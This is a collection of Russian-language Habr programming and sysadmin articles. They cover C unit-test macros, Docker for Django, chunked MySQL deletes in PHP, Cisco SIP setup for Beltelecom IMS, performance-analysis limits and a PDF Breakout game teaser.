copyButton = (Button) itemView.findViewById(R.id.recyclerViewItemCopyButton);
deleteButtonListener = new DeleteButtonListener();
copyButtonListener = new CopyButtonListener();
deleteButton.setOnClickListener(deleteButtonListener);
copyButton.setOnClickListener(copyButtonListener);
}
}
private class CopyButtonListener implements View.OnClickListener {
private Record record;
@Override
public void onClick(View v) {
copy(record);
}
public void setRecord(Record record) {
this.record = record;
}
}
private class DeleteButtonListener implements View.OnClickListener {
private Record record;
@Override
public void onClick(View v) {
delete(record);
}
public void setRecord(Record record) {
this.record = record;
}
}
}
```
Изначальный код был взят здесь: [github.com/renal128/RecyclerViewDemo](https://github.com/renal128/RecyclerViewDemo)
Реализация с Handler's и Timer's: [github.com/app-z/PopUpWidget](https://github.com/app-z/PopUpWidget)
Посмотреть как это работает можно из Google Play: [play.google.com/store/apps/details?id=net.appz.iconfounder](https://play.google.com/store/apps/details?id=net.appz.iconfounder) | https://habr.com/ru/post/255397/ | null | ru | null |
# Полуавтоматическая регистрация юнит-тестов на чистом С
После прочтения книги [Test Driven Development for Embedded C](http://www.amazon.com/Driven-Development-Embedded-Pragmatic-Programmers/dp/193435662X) я начал знакомство с миром юнит-тестирования с фреймворка cppUtest. Не в последнюю очередь потому, что в нем свеженаписанный тест регистрируется и запускается самостоятельно. За это приходится платить — использованием C++, динамическим выделением памяти где-то в глубинах фреймворка. Может быть, можно как-то попроще?
Совсем недавно я узнал о минималистичном фреймворке [minUnit](http://www.jera.com/techinfo/jtns/jtn002.html), который умещается всего в 4 строчки.
Я приведу их здесь для наглядности:
```
#define mu_assert(message, test) do { if (!(test)) return message; } while (0)
#define mu_run_test(test) do { char *message = test(); tests_run++; \
if (message) return message; } while (0)
extern int tests_run;
```
Просто и красиво. При этом написание теста выглядит вот так:
```
static char * test_foo() {
mu_assert("error, foo != 7", foo == 7);
return 0;
}
```
К сожалению, когда я попытался этим фреймворком воспользоваться, то очень быстро понял, что мне ужасно лень руками регистрировать каждый тест. Это ведь нужно заводить заголовочный файл для файла с тестами, каждому тесту в этот файл прописывать объявление, потом идти в main и прописывать вызов!
Посмотрел я на другие фреймворки, написанные на чистом С: почти везде тоже самое. В качестве альтернативы предлагаются отдельные программы, сканирующие исходники с тестами и генерирующими код для запуска.
Но может быть, можно проще?
Уверенность в меня вселил [вот этот пост](http://habrahabr.ru/post/239387/), где для регистрации тестов используется линкер. Но мне привязываться к линкеру и специфичным для компилятора атрибутам не хотелось.
Насколько мне известно, на чистом С невозможно сделать полноценную регистрацию теста. А как насчет полуавтоматической?
Идея оформилась следующим образом. Для каждого модуля пишется файл module\_tests.c, в нем пишутся все тесты для данного модуля. Эти тесты образуют группу. В этом же файле пишется магическая функция запуска всех тестов в группе.
А в main’е нужно руками прописывать только запуск группы, а не каждого теста в отдельности.
Это сводится к следующей задаче: нужно как-то получить список всех функций в файле. В С это можно сделать только с помощью препроцессора. Но как? Например, если функции будут называться как-то однообразно.
«Служебные» имена тестов вполне могут быть какими угодно, лишь бы заголовок у теста был внятный!
Значит, нужно с помощью препроцессора генерировать имена для функций-тестов, причем однообразно и по единому шаблону. Например, вот так:
```
#define UMBA_TEST_COUNTER BOOST_PP_COUNTER
#define UMBA_TEST_INCREMENT() BOOST_PP_UPDATE_COUNTER()
#define UMBA_TOKEN(x, y, z) x ## y ## z
#define UMBA_TOKEN2(x, y, z) UMBA_TOKEN(x,y,z)
#define UMBA_TEST( description ) static char * UMBA_TOKEN2(umba_test_, UMBA_TEST_COUNTER, _(void) )
```
Признаюсь честно, boost я использовал в первый раз в жизни и был до глубины души поражен мощью препроцессора С!
Теперь можно писать тесты следующим образом:
```
UMBA_TEST("Simple Test") // получается static char * umba_test_0_(void)
{
uint8_t a = 1;
uint8_t b = 2;
UMBA_CHECK(a == b, "MATHS BROKE");
return 0;
}
#include UMBA_TEST_INCREMENT()
```
После этого инклуда счетчик проинкрементируется и имя для следующего теста будет сгенерировано имя static char \* umba\_test\_1\_(void).
Осталось только сгенерировать функцию, которая будет запускать все тесты в файле. Для этого создается массив указателей на функции и заполняется указателями на тесты. Потом функция просто в цикле вызывает каждый тест из массива.
Эту функцию нужно будет обязательно писать в конце файла с тестами, чтобы значение UMBA\_TEST\_COUNTER равнялось номеру последнего теста.
Для генерирования массива указателей я сперва пошел по простому пути и написал helper-файл вот такого вида:
```
#if UMBA_TEST_COUNTER == 1
#define UMBA_LOCAL_TEST_ARRAY UmbaTest umba_local_test_array[ UMBA_TEST_COUNTER ] = {umba_test_0_};
#elif UMBA_TEST_COUNTER == 2
#define UMBA_LOCAL_TEST_ARRAY UmbaTest umba_local_test_array[ UMBA_TEST_COUNTER ] = {umba_test_0_, umba_test_1_};
…
```
В принципе, вполне можно обойтись и этим, сгенерировав объявления для нескольких сотен тестов. Тогда от boost'a нужен будет только один файл — boost/preprocessor/slot/counter.hpp.
Но, раз уж я начал использовать boost, почему бы не продолжить?
```
#define UMBA_DECL(z, n, text) text ## n ## _,
#define UMBA_LOCAL_TEST_ARRAY UmbaTest umba_local_test_array[ UMBA_TEST_COUNTER ] = { BOOST_PP_REPEAT( UMBA_TEST_COUNTER, UMBA_DECL, umba_test_ ) }
```
Всего две строчки, но какое могущество за ними скрыто!
Добавляем тривиальный код для самой функции запуска группы:
```
#define UMBA_RUN_LOCAL_TEST_GROUP( groupName ) UMBA_LOCAL_TEST_ARRAY; \
char * umba_run_test_group_ ## groupName ## _(void) \
{ \
for(uint32_t i=0; i < UMBA_TEST_COUNTER; i++) \
{ \
tests_run++; \
char * message = umba_local_test_array[i](); \
if(message) \
return message; \
} \
return 0; \
} \
```
И для ее запуска из main:
```
#define UMBA_EXTERN_TEST_GROUP( groupName ) char * umba_run_test_group_ ## groupName ## _(void);
#define UMBA_RUN_GROUP( groupName ) do { \
char *message = umba_run_test_group_ ## groupName ## _(); \
tests_run++; \
if (message) return message; \
} while (0)
```
Вуаля. Теперь запуск группы с любым количеством тестов выглядит одинаково:
```
UMBA_EXTERN_TEST_GROUP( SimpleGroup )
static char * run_all_tests(void)
{
UMBA_RUN_GROUP( SimpleGroup );
return 0;
}
int main(void)
{
char *result = run_all_tests();
if (result != 0 )
{
printf("!!!!!!!!!!!!!!!!!!!\n");
printf("%s\n", result);
}
else
{
printf("ALL TESTS PASSED\n");
}
printf("Tests run: %d\n", tests_run-1);
return 0;
}
```
Я вполне доволен этим результатом. Механических действий при написании теста теперь заметно меньше.
Все упомянутые макросы умещаются в 40-50 строк, что, к сожалению, несколько больше, чем minUnit (и гораздо менее очевидно).
[Весь код целиком.](https://mega.co.nz/#!ztFVzbpY!ijKpZOoyi5R9JZnIA6AGeCw2HIozjFo5g7VaFnxht3I)
Да, здесь отсутствует уйма функционала из больших фреймворков, но, честно признаюсь, мне ни разу не довелось воспользоваться в тесте чем-то помимо простой проверки вида CHECK(if true).
Description для теста просто выкидывается, но сделать с ним что-то полезное вроде бы несложно, если вдруг захочется.
Что мне хотелось бы выяснить:
1. Изобрел ли я что-то новое или подобным трюком уже пользуются много лет?
2. Можно ли сие как-то улучшить? Мне не очень нравится необходимость писать какой-то странный инклуд после каждого теста, но других реализаций счетчика на препроцессоре я не нашел (\_\_COUNT\_\_ мой компилятор не поддерживает).
3. Стоит ли использовать самодельный фреймворк в продакшене?
4. Как, черт побери, работает BOOST\_PP\_COUNTER?! Даже на stackoverflow ответом на соответствующий вопрос является [«magic».](http://stackoverflow.com/a/6212493/1823524) | https://habr.com/ru/post/240565/ | null | ru | null |
# Быстрое знакомство с Docker-контейнерами для Django-разработчика
Разработка такого проекта как кешбек-сервис подразумевает использование различных сервисов, нетипичных для обычного ноутбука, даже если это ноутбук разработчика. Postgresql, Redis, Celery и так далее. Желание создать комфортную среду разработки и тестирования привело нас к необходимости использование какой-то системы виртуализации/изоляции. Как вариант — некоторое время использовался Vagrant, но это всё-таки ovrerhead и наши поиски оптимального способа привели, на данный момент, к Docker.
[Docker](https://www.docker.com/) — платформа для запуска приложений в изолированных контейнерах. Использование контейнеров в Linux позволяет программному обеспечение быть изолированным от базовой системы. В отличии от Virtualbox, исключаются системные издержки (overhead), необходимые для виртуализации оборудования. Docker может помочь в разработке и развертывании веб-приложений и сервисов. Давайте посмотрим, как это происходит.
**Зачем мне нужен Docker?**
Docker может быть использован различными способами. Он может обеспечивать работу сервисов в фоновом режиме, например, PostgreSQL заданной версии. В docker может быть помещено наше приложение (dockerizing application) и таким образом мы мы можем использовать образы подобных контейнеров для развертывания нашего приложения на продакшене.
Для python-разработчиков Docker может быть описан как virtualenv для любого приложения. Это может быть как Python-интерпретатор так и какой-нибудь сервер. Это очень удобно, когда вы хотите протестировать новые версии или хотите запустить устаревшие приложения на вашем сервере.
**Установка Docker**
Docker доступен в репозиториях в различных Linux дистибутивах. OSX и MS Windows пользователи могут использовать VirtualBox, на котором установлена Linux система для того, чтобы запустить Docker.
Для установки последней версии я использую [PPA](http://www.ubuntuupdates.org/ppa/docker) для Ubuntu. Когда Docker установлен, вы можете добавить себя в группу “docker” для того, чтобы в дальнейшем не требовлось использовать sudo.
**Первые контейнеры**
Когда Docker готов, мы можем запустить множество контейнеров из [registry.hub.docker.com](https://registry.hub.docker.com/), например Python. Для запуска этого контейнера, просто выполните:
```
docker run -it --rm python:3.4
```
Для начала запущенный Docker скачает несколько файлов. Когда процесс завершится, мы получим дефолтную консоль Python-интерпретатора. Команда **-it** запускает контейнер в интерактивном режиме и привязывает ее к консоли для взаимодействия. **--rm** удалит текущий контейнер после выхода. “Python” — это название исходника для контейнера. После “:” мы видим тег, который обычно показывает версию — в этом случае версия Python в контейнере.
Мы также можем поменять стандартное поведение контейнера, например запустить собственный скрипт. Для использования команды из командной строки просто добавьте следующее:
```
docker run -it --rm python:3.4 ls
```
Когда наш контейнер будет запущен, внутри него запустится команда “ls”, которая покажет все файлы и фильтры в главной директории.
**Dockerfile**
Файл **Dockerfile** содержит “рецепт приготовления” нашего контейнера. Если мы хотим запустить скрипт на Python, вот что мы должны написать:
```
FROM python:3.4
ADD ./test.py /
RUN ls -al
CMD python test.py
```
**FROM** указывает на базовый контейнер, в данном случае — образ Python 3.4. Дальше мы можем использовать **ADD**, RUN, ENV команды для конфигурации контейнера. **RUN** команда будет выполнять задачи, когда контейнер построен. Команда **CMD** выполнится в начале запуска контейнера. Операции построения образов кэшируются и пропускает следующие версии (RUN команда из примера запустит построения первого билда, но не второго).
В терминале мы можем написать следующее:
```
docker build --tag=foo .
docker run -it --rm foo
```
**Dockerfile на Django**
[django-ckeditor](https://github.com/django-ckeditor/django-ckeditor) содержит демонстрационное приложение, которое может быть запущено через **manage.py** и runserver. Попробуем сделать Dockfile, который создаст образ этого приложения:
```
FROM python:3.4
MAINTAINER Piotr Maliński
ADD . /ckeditor
ENV DJANGO\_SETTINGS\_MODULE ckeditor\_demo.settings
RUN pip install -r /ckeditor/ckeditor\_demo\_requirements.txt
RUN pip install /ckeditor
RUN python /ckeditor/manage.py validate
RUN python /ckeditor/manage.py collectstatic --noinput
CMD python /ckeditor/manage.py runserver 0.0.0.0:8080
```
Я использую здесь Python 3.4. Весь код из репозитория будет добавлен в папку “ckeditor” контейнера. Я также устанавливаю DJANGO\_SETTINGS\_MODULE переменную окружения, добавляю зависимости и собственно редактор. Дальше валидация, сбор статики и в конце CMD для запуска сервера. Также удобно сделать сервер доступным снаружи контейнера, для этого мы запускаем его на 0.0.0.0 IP
```
dockebuild --tag=django-ckeditor .
dockerun -it --rm --publish=192.168.0.110:8080:8080 django-ckeditor
```
Опция **--publish** позволяет сопоставить (mapping) публичный IP/Port адреса из запущенного локального контейнера с локальным. В этом примере 192.168.0.110 это порт хоста. Публичный порт может быть доступен через 8080 из моего localhost. Без опции publish сервер будет доступен только из запущенно IP адреса контейнера.
Конфигурация Dockerfile, которую я показал не идеальна и будет работать только с SQLite базой данны. Docker позволяет запускать разные сервисы в разных контейнерах. Например, давайте попробуем, использовать PostgreSQL базу данных во втором контейнере.
Так давайте запустим экземпляр PostgreSQL:
```
docker run -d postgres:9.4
```
Конетйнер запустится в фоновом режиме и мы можем проверить его статус и название командой **docker ps**. Названия по умолчанию задаются случайные, например “clever\_ptolemy”. Сейчас мы создали базу данных на этом сервере, но сначала нам нужен IP-адрес. Мы можем получить его из **docker inspect INSTANCE\_NAME**, которая покажет список переменных в контейнере, включая IP-адрес. Дальше мы можем создать базу данных:
```
createdb -h IP_ADDRESS DATABASE_NAME -U postgres
```
База данных создана и сейчас мы можем настроить ее в контейнере приложения. Докер позволяет сделать это используя переменные окружения. Для Django можно использовать **dj\_database\_url**:
from os import environ
```
import dj_database_url
DATABASES = {'default': dj_database_url.parse(environ.get('DATABASE', 'postgres:///'))}
```
Теперь мы должны передать env переменную с именем базы данных в контейнер чтобы заставить его работать. Это может быть сделать так:
```
docker run -it --rm --link=POSTGRES_INSTANCE_NAME:OUR_NAME -e DATABASE=postgres://postgres@OUR_NAME/DATABASE_NAME --publish=192.168.0.110:8080:8080 django-ckeditor
```
Имя экземпляра базы данных мы можем получить выполнив команду “docker ps” в консоли. “OUR\_NAME” это ярлык, который мы можем использовать позже в -e значении. В моем случае это выглядело так:
```
docker run -it --rm --link=clever_ptolemy:db -e DATABASE=postgres://postgres@db/ckeditor --publish=192.168.0.110:8080:8080 django-ckeditor python /ckeditor/manage.py syncdb
docker run -it --rm --link=clever_ptolemy:db -e DATABASE=postgres://postgres@db/ckeditor --publish=192.168.0.110:8080:8080 django-ckeditor
```
Первой выполняется команда syncdb, она создаст таблицы в базе данных. Далее запускается development сервер.
**Инструмент Fig**
Вышеописанный простой пример требует множество названий и линков. Для того, чтобы сделать процесс проще, есть несколько инструментов типа fig. В YAML(fig.yml) файле мы можем указать все шаги и линки, которые нужны:
```
ckeditor:
build: .
command: python /ckeditor/manage.py runserver 0.0.0.0:8080
links:
- db
ports:
- "8080:8080"
db:
image: postgres:9.4
```
Далее мы можем собрать командой **fig build** и запустить c **fig up**, которая покажет работу приложения. У нас есть несколько табличек и мы можем запустить syncdb и для помощи использовать **fig run NAME COMMAND**, где Имя это имя экземпляра fig.yml. Когда fig запустился, то вы можете проверить список контейнеров командой “docker ps”
Вы можете прочитать больше о [fig.yml syntax](http://www.fig.sh/yml.html) на странице приложения. Также есть [Django-учебник](http://www.fig.sh/django.html), в котором предоставлен другой способ настройки Postgres. | https://habr.com/ru/post/247629/ | null | ru | null |
# PHP трюк для быстрого DELETE на большой таблице MySQL
Приветствую! У каждого разработчика рано или поздно наступает момент, когда появляется необходимость работать с большими базами данных. В мире таблиц весом более 5 гигабайт действуют немного иные законы "физики", нежели в маленьких табличках: приходится заботиться о тех вещах, о которых раньше даже и не задумывался. Сегодня я поделюсь трюком, который поможет быстро удалить много данных с таблицы MySQL с движком InnoDB.
Проблема
--------
У нас на руках имеется: Таблица с сообщениями ``messages`` за последние 10 дней. Каждый день в неё сваливается примерно миллион новых записей. По прошествии 10-ти дней у нас скрипт вызываемый кроном перетаскивает сообщения в таблицу ``messages_history``. Нам поставили задачу уменьшить срок хранения сообщений в основной таблице с 10 дней до трёх.
Решение "В лоб"
---------------
```
//Собираем все сообщения
$oldMessages = Message::findAll(new DBWhereParamsType([
'where' => [
'time <=' => Carbon::now()->subDays(self::LIFETIME_OF_MESSAGES)->format(),
],
]));
//Собираем ID всех сообщений, которые достали
$oldMessagesIDs = [];
foreach ($oldMessages as $oldMessage) {
$oldMessagesIDs[] = $oldMessage->id;
}
//Вставляем полученные старые сообщения в таблицу с историей сообщений
$res = MessageHistory::bathInsert($oldMessages);
//Если insert прошёл успешно, удаляем из основной таблицы старые сообщения
if ($res === true) {
//Эта конструкция под капотом собирает запрос вида
// DELETE * FROM `messages` WHERE `id` IN (1, 2, 3...)
MessageD::deleteWhere(new DBWhereParamsType([
'where' => [
'id' => $idsList,
],
]));
}
```
Вроде бы всё логично. Запускаем с лимитом 50000, и что же мы видим?
Результаты метода "В лоб"Удаление заняло более минуты. Но почему же так? Давайте разбираться
Блокировка таблиц
-----------------
При удалении из таблицы InnoDB происходит её блокировка на время выполнения транзакции. Когда мы посылаем большой запрос на удаление базе, она блокирует таблицу ``messages``, и это довольно сильно затягивает процесс, так как при каждом обращении других скриптов к этой таблице будет создаваться её слепок.
Что с этим делать?
------------------
DELETE - это один из немногих случаев, когда оптимизация должна идти не на уменьшение количества запросов, а наоборот, на их увеличение и разбивку на маленькие. И поможет нам в этом php функция `array_chunk`. Она разобьёт наш `$oldMessagesIDs` на чанки, по которым будет удобно пройтись foreach'ом:
```
if ($res === true) {
//Разбиваем массив на чанки
$oldMessagesIDsChunks = array_chunk($oldMessagesIDs, 100);
//Проходимся по каждому из них
foreach ($oldMessagesIDsChunks as $idsList) {
MessageD::deleteWhere(new DBWhereParamsType([
'where' => [
'id' => $idsList,
],
]));
}
}
```
Запускаем с лимитом 50000...
Результат разбиения на чанкиВуаля! Итак, давайте подытожим, что у нас случилось:
* Таблица не блокируется одной транзакцией на долгое время
* Среднее время выполнения скрипта уменьшилось примерно в 5 раз
Надеюсь, этот небольшой трюк поможет Вам однажды настроить скрипт удаляющий большие объёмы данных :-) Удачи! | https://habr.com/ru/post/699910/ | null | ru | null |
# Настройка SIP агента сети IMS (Белтелеком) на маршрутизаторе CISCO
В настоящее время в Беларуси оператор электросвязи Белтелеком усиленно внедряет телефонную связь на базе сети IMS. Предоставляется оборудование в пользование. Представляет оно собой обычный ADSL модем, но со встроенным SIP клиентом.
Но у нас есть CISCO 2951 с поднятой телефонией. Возникла мысль, а можно ли настроить такой телефонный номер без оборудования Белтелеком и напрямую в маршрутизаторе.
При разборе настроек в модеме выяснилось следующее. VoIP подается по отдельному PVC (VCI/VPI=2/35) в режиме IP/DHCP:
Модем получает настройки IP и шлюза по DHCP.
Нам важно запомнить адрес шлюза, для дальнейшей настройки на CISCO.
При заключении договора выдаются следующие данные:
Номер телефона: *+37517xxxxxxx*
Login: *+37517xxxxxxx@ims.beltel.by*
Необходимо также узнать пароль к сервису IMS: *passIMS*. У меня в маршрутизаторе Cisco установлена [ADSL2 and ADSL2 High-Speed WAN Interface Cards](http://www.cisco.com/c/en/us/products/collateral/routers/3800-series-integrated-services-routers-isr/product_data_sheet0900aecd80394b7e.html).
Настраиваем сначала подключение по нужному PVC(2/35).
```
interface ATM0/1/0.2 point-to-point
ip address dhcp
no ip proxy-arp
ip nat outside
ip virtual-reassembly in
atm route-bridged ip
pvc 2/35
encapsulation aal5snap
```
**.02** в имени интерфейса выбрана произвольно, так как у меня уже есть одно соединение на этом же интерфейсе.
```
sh int atm 0/1/0.2
```
убеждаемся что интерфейс поднялся и IP адрес получен.
Настройки SIP серверов тоже можно увидеть в модеме, если предварительно в telnet дать следующую команду: *sendcmd 3 webd setconfig voippagedisp y*.
Будем использовать один из SIP серверов, а именно **10.56.0.9**. Далее необходимо прописать маршруты.
```
ip route 10.56.0.9 255.255.255.255 10.233.64.1
ip route 10.56.0.10 255.255.255.255 10.233.64.1
ip route 10.56.0.11 255.255.255.255 10.233.64.1
```
**10.56.0.10** и **10.56.0.11** — это адрес RTP сервера обслуживающего аудио поток. Так как ims.beltel.by не имеет в DNS записи, то прописываем ее руками.
```
ip host ims.beltel.by 10.56.0.9
```
Теперь переходим к непосредственной настройки sip-ua. Здесь есть особенность, авторизация должна проходить с указанием домена, т.е. вида +37517xxxxxxx@ims.beltel.by. Поэтому используем еще параметр *number*.
```
sip-ua
credentials number +37517xxxxxxx username +37517xxxxxxx@ims.beltel.by password *PassIMS* realm ims.beltel.by
authentication username +37517xxxxxxx password *PassIMS* realm ims.beltel.by
retry invite 3
retry response 3
retry bye 3
retry cancel 3
retry register 5
registrar dns:ims.beltel.by:5060 expires 3600 auth-realm ims.beltel.by
sip-server dns:ims.beltel.by:5060
connection-reuse
host-registrar
```
Об успешной регистрации будет видно из команды:
```
sh sip-ua register status
```
Далее создаем dial-peer для исходящих звонков.
```
dial-peer voice 8017 voip
description #toIMS#
*translation-profile outgoing fromIMS*
destination-pattern 8017[2,3,5].T
session protocol sipv2
session target sip-server
session transport udp
voice-class codec 1
dtmf-relay rtp-nte
no vad
```
Необходимо также обязательно подменять свой внутренний номер на номер выданный Белтелекомом, чтобы звонок обслуживался. Это делается через *translation-profile*.
```
voice translation-rule 1
rule 1 /.*/ /+37517xxxxxxx/
voice translation-profile fromIMS
translate calling 1
```
Так как у меня используются телефоны Cisco 6921, то для входящего звонка просто прописан параметр *secondary* на внутреннем номере.
```
ephone-dn 1 dual-line
number 1234 secondary +37517xxxxxxx no-reg both
```
Таким образом мы получаем SIPовский номер в нашу телефонную сеть без дополнительного стороннего оборудования и в цифровом виде.
*Update:* С недавнего времени Белтелеком начал работать по UDP протоколу. Поэтому для входящих соединений уже не получится вписать secondary номер. Необходимо делать dial-peer с входящим правилом.
Примерно такой:
```
dial-peer voice 9192 voip
description #Incoming_IMS#
translation-profile incoming incomIMS
session protocol sipv2
session target dns:ims.beltel.by
session transport udp
incoming called-number +37517xxxxxxx
voice-class codec 1
dtmf-relay rtp-nte
```
где *translation-profile incoming incomIMS* это правило сопоставления номера IMS вашему внутреннему, на который необходимо принять звонок.
Например:
```
voice translation-rule 5
rule 1 /.*/ /1234/
voice translation-profile incomIMS
translate called 5
``` | https://habr.com/ru/post/302412/ | null | ru | null |
# Существует ли простая оценка качества оптимизации приложения?
#### Тише едешь дальше будешь...? Оценка производительности.
Больше 7 лет я занимаюсь анализом производительности в составе группы Performance Analysis новосибирского отделения Интел. Мы работаем над улучшением производительности различных приложений, а точнее, ищем способы, с помощью которых ее смог бы улучшить наш компилятор. За это время накопился полезный опыт, который, на мой взгляд, был бы интересен посетителям уважаемого Хабра. Речь в данном случае будет идти не об алгоритмической оптимизации приложений, а о различных модификациях приложений без принципиального изменения их алгоритмов. Понятно, что алгоритмические оптимизации программы тоже имеют право на жизнь, но это совсем другая задача.
Я являюсь разработчиком компилятора Интел, поэтому все мои исследования связаны с различными компиляторными оптимизациями, сравнением различных компиляторов (на Windows это, как правило, сравнение интеловского компилятора с компилятором Microsoft Visual Studio). Собственно поэтому прошу не рассматривать мои посты как рекламу или антирекламу. Для иллюстрации моих мыслей я буду использовать различные инструменты, в том числе и разработанные в нашей компании. Надеюсь, что этот пост вырастет в серию статей об оптимизации приложений.
#### Существует ли простой критерий оценки оптимальности приложения?
Понятно, что любая проблема и задача, в том числе задача по улучшению производительности приложения, начинается с исследования текущего состояния дел. Необходима оценка: насколько приложение уже оптимизировано, и имеет ли смысл прилагать усилия чтобы его ускорить. На первый взгляд, задача имеет простое решение. Достаточно измерить загрузку процессора, чтобы такую оценку получить. Различные анализаторы производительности позволяют не только замерить время исполнения различных участков программы, но и подсчитать и привязать к коду программы все внутрипроцессорные события, возникающие при ее выполнении. С помощью этой информации можно оценить загрузку вычислительного ядра. Например, определить сколько тактов процессора в среднем потребовалось на выполнение одной инструкции, и какие причины вызывали задержки исполнения Т.е. предлагаемый критерий связывает эффективность работы ядра с возможностью улучшения производительности приложения. А именно, если ядро работает эффективно, то повода для беспокойства нет — программа работает оптимально, в противном случае приложение может быть улучшено и есть смысл заниматься его анализом. В результате использования такого критерия на свет появляются работы, в которых анализируются какие-то процессорные события, и авторы на основе этого анализа строят предположения о возможностях улучшения производительности приложений. Возможно, такие методы работы действительно полезны для архитекторов вычислительных систем и дают им возможность пофантазировать об улучшении архитектуры процессора. Но, к сожалению, для программиста, размышляющего об улучшении производительности своего приложения, этот метод крайне сомнительный, редко работает и не дает ответа на извечный вопрос русской интеллигенции: «Что делать? и Можно ли есть курицу руками?».
Во многих случаях максимальная загрузка вычислительного ядра вовсе не значит, что невозможно улучшить производительность программы и наоборот.
Давайте рассмотрим простой тестик с перемножением прямоугольных матриц. Создание маленьких работающих примеров, на мой взгляд, лучший метод получения интересной информации об устройстве вселенной и, в том числе, о работе компиляторов и процессоров. В таких тестах важно, чтобы время исполнения исследуемого кода было достаточно велико, чтобы на него не влияло время загрузки программы и какие-то случайные события, поэтому можно исполнять исследуемый код много раз.
```
#include
#include
#define N 200
#define T 100
void matrix\_mul\_matrix(int t, int n, double \*C, float \*A, float \*B) {
int i,j,k;
for (i=0; i
```
На моей лабораторной машине c Windows Server 2008 R2 Enterprise и процессором Intel Xeon X5570 я компилирую эту программу с помощью компилятора Майкрософт VS 10.0. и Интел Parallel Studio XE2013. Для простоты я работаю с командной строкой и беру опции, соответствующие релизовскому варианту компиляции, используемыми по умолчанию в Visual Studio.
cl matrix.c /O2 /GL /GS /GR /W3 /nologo /Wp64 /Zi -Ob0 -Fematrix\_cl
icl matrix.c /O2 /GL /GS /GR /W3 /nologo /Wp64 /Zi -Ob0 -Fematrix
Выясняется, что время работы matrix\_cl равно ~21.9 s, в то время как время работы matrix равно ~9.3 s.
Теперь посмотрим, что нам скажет Amplifier о загрузке процессора. Intel VTune Amplifier XE 2011 – это как раз инструмент для оценки производительности, позволяющий работать с процессорными событиями интеловских процессоров.
Давайте создадим в Amplifier два проекта для полученных приложений и сделаем предварительный анализ – general exploration. Ну и что мы в результате видим? Вот результаты «разведки» приложения matrix\_cl:
Обращаем внимание на CPI Rate (Clock per instruction, среднее количество тактов на одну инструкцию). Для моего процессора теоретический минимум этой величины 0.25. (Параллельное исполнение 4-х инструкций на 4-х исполнительных устройствах). Число CPI 0.546 считается очень хорошим. Есть конечно и задержки. Но, вроде ничего критического нет. Вычислительное ядро работает с хорошей нагрузкой, и все выглядит вполне прилично. Можно ли из этой оценки понять, что производительность приложения реально улучшить более чем в два раза?
Результаты исследования для matrix:
Волшебное улучшение производительности более чем в два раза, практически никак не отразились на основных «рейтингах» вычислений, собираемых Intel VTune Amplifier XE 2011. Т.е. исследование работы процессора в данном случае не дало нам никаких сигналов о том, что производительность может быть кардинально улучшена.
Данное улучшение производительности было достигнуто благодаря автовекторизации. Это легко увидеть, если добавить к опциям для интеловского компилятора –Qvec\_report. Компилятор выдаст
…
...\matrix.c(9): (col. 5) remark: PERMUTED LOOP WAS VECTORIZED.
Т.е. производительность приложения была улучшена за счет применения цикловой перестановочной оптимизации. Для того чтобы понять, что такая оптимизация могла быть применена, необходимо было исследовать алгоритм перемножения матриц.
Теперь возьмем пример другого рода и создадим программу, которая будет обходить длинную цепочку объектов:
```
#include
#include
#define N 1000000
struct \_planet {
float x;
float y;
float z;
double m;
struct \_planet \*prev;
struct \_planet \*next;
} ;
typedef struct \_planet planet;
planet\* init\_chain() {
Создание и инициализация цепочки
}
int main() {
planet \*planet\_chain;
planet \*cur;
int i;
double sum=0.0;
planet\_chain=init\_chain();
for(i=0;i<1000;i++) {
cur=planet\_chain;
while(cur) {
sum += cur->m;
cur=cur->next;
}
}
printf("%f\n",sum);
}
```
Оба оптимизирующие компилятора создали приложения выполняющиеся ~6.2s. Amplifier сообщает о том, что в данном приложении все плохо:
CPI rate очень плохой, и большую часть времени вычислительное ядро ожидает получения данных для обработки.
Ну и что с этим делать? Допустим, мы продолжим исследования и установим, что причиной плохой загрузки вычислительного ядра является задержка с работой подсистемы памяти. Очевидно, что ядро загружено плохо. Но нам то это сакральное знание чем помогает? Какие существуют методы для улучшения работы подсистемы памяти? Позволяет ли специфика нашего приложения применить уже известные методы?
Это пример приложения, в котором все плохо, и ситуацию нельзя кардинально исправить без изменения алгоритма.
#### заключение
Таким образом, простые вычисления различных процессорных коэффициентов дают мало информации для оценки эффективности приложения.
В данном случае простым аналогом задачи по оценке эффективности выполняющегося приложения является спортсмен, двигающийся из точки A в точку B. Если мы возьмем за критерий оптимальной работы спортсмена нагрузку на его мышцы или сравним среднюю его скорость на трассе и максимальную скорость, с которой данный спортсмен может двигаться, то далеко ли мы уйдем с такими критериями? Если спорсмен дурной, хоть и очень сильный, и постоянно ломится через чащу, вместо того чтобы оббежать ее по тропинке, то нужен просто более умный спортсмен. Обратно, если спортсмен бежал медленно, но его путь пролегал по болоту, где приходилось останавливаться, нащупывать путь и даже возвращаться периодически назад, то виноват ли спортсмен? Можно привлечь к решению задачи более тренированного и быстрого атлета (за большие деньги), а можно – грамотного тренера, который на старте проанализирует трассу забега, сильные и слабые стороны бегуна, а затем предложит бегуну оптимальный маршрут, а возможно, научит его принимать на ходу правильное решение в каких-то простых ситуациях.
Одним словом, без анализа пути, который нужно было преодолеть и знаний сильных и слабых сторон атлета, трудно оценить насколько он реально был хорош на дистанции.
Поэтому, на мой взгляд, не существует простого универсального работающего метода оценки эффективности работы приложения и, следовательно, простых путей его улучшения. Для решения этой задачи нужно подключать мозг и анализировать множество ситуаций, применяя к ним известные методы улучшения производительности. Как и в любом деле, здесь нужна методология подключения мозга. Для успешного решения задачи он должен знать некоторые вещи, например:
1.) Основные проблемы, влияющие на производительность процессора, и методы оптимизации, влияющие на эти проблемы.
2.) Основные методы компиляторной оптимизации. Как правило, все те методы, которые могут помочь улучшить производительность программы уже как-то учтены и реализованы в существующих оптимизирующих компиляторах. Полезно знать инструмент, которым вы пользуетесь в своей работе. Возможно, к успеху ведет простое добавление еще одной опции. Интересно выяснить, умеет ли ваш компилятор делать ту или иную оптимизацию, и почему он не сделал ее для вашего кода?
3.) Многие из известных оптимизаций эффективно могут быть сделаны руками. В каких случаях можно попробовать их сделать? Когда применение той или иной оптимизации выгодно и почему?
Соответственно, в дальнейшем я попробую представить образец такой методологии и расскажу об известных мне полезных методах оптимизации приложений. | https://habr.com/ru/post/157671/ | null | ru | null |
# Пугающие эксперименты с PDF: запускаем «Арканоид» в документе
Подробнее об этом хаке и особенностях его работы можно узнать из доклада на !!con 2020 [«Playing Breakout… inside a PDF!!»](https://www.youtube.com/watch?v=6rbJu10Telc)
Если вы его не смотрели, то попробуйте открыть [файл breakout.pdf](https://cdn.jsdelivr.net/gh/osnr/horrifying-pdf-experiments@master/breakout.pdf) в Chrome.
